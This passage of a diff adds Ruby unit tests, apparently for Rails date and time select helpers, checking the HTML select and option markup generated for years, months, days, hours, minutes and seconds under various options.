+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), start_year: 2003, end_year: 2005, with_css_classes: true)
+  end
+
+  def test_select_datetime_with_custom_with_css_classes
+    expected =  %(<select id="date_year" name="date[year]" class="my-year">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_month" name="date[month]" class="my-month">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_day" name="date[day]" class="my-day">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %(<select id="date_hour" name="date[hour]" class="my-hour">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]" class="my-minute">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), start_year: 2003, end_year: 2005, with_css_classes: { day: "my-day", month: "my-month", year: "my-year", hour: "my-hour", minute: "my-minute" })
+  end
+
+  def test_select_datetime_with_custom_hours
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n).dup
+    expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="">Choose hour</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), start_year: 2003, end_year: 2005, start_hour: 1, end_hour: 9, prefix: "date[first]",
+      prompt: { day: "Choose day", month: "Choose month", year: "Choose year", hour: "Choose hour", minute: "Choose minute" })
+  end
+
+  def test_select_datetime_with_hidden
+    expected =  %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n).dup
+    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+    expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), prefix: "date[first]", use_hidden: true)
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), datetime_separator: "&mdash;", date_separator: "/",
+      time_separator: ":", prefix: "date[first]", use_hidden: true)
+  end
+
+  def test_select_time
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n).dup
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18))
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), include_seconds: false)
+  end
+
+  def test_select_time_with_ampm
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n).dup
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\n<option value="13">01 PM</option>\n<option value="14">02 PM</option>\n<option value="15">03 PM</option>\n<option value="16">04 PM</option>\n<option value="17">05 PM</option>\n<option value="18">06 PM</option>\n<option value="19">07 PM</option>\n<option value="20">08 PM</option>\n<option value="21">09 PM</option>\n<option value="22">10 PM</option>\n<option value="23">11 PM</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), include_seconds: false, ampm: true)
+  end
+
+  def test_select_time_with_separator
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n).dup
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+    expected << %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), time_separator: " : ")
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), time_separator: " : ", include_seconds: false)
+  end
+
+  def test_select_time_with_seconds
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n).dup
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), include_seconds: true)
+  end
+
+  def test_select_time_with_seconds_and_separator
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n).dup
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), include_seconds: true, time_separator: " : ")
+  end
+
+  def test_select_time_with_html_options
+    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n).dup
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, class: "selector")
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), { include_seconds: false }, class: "selector")
+  end
+
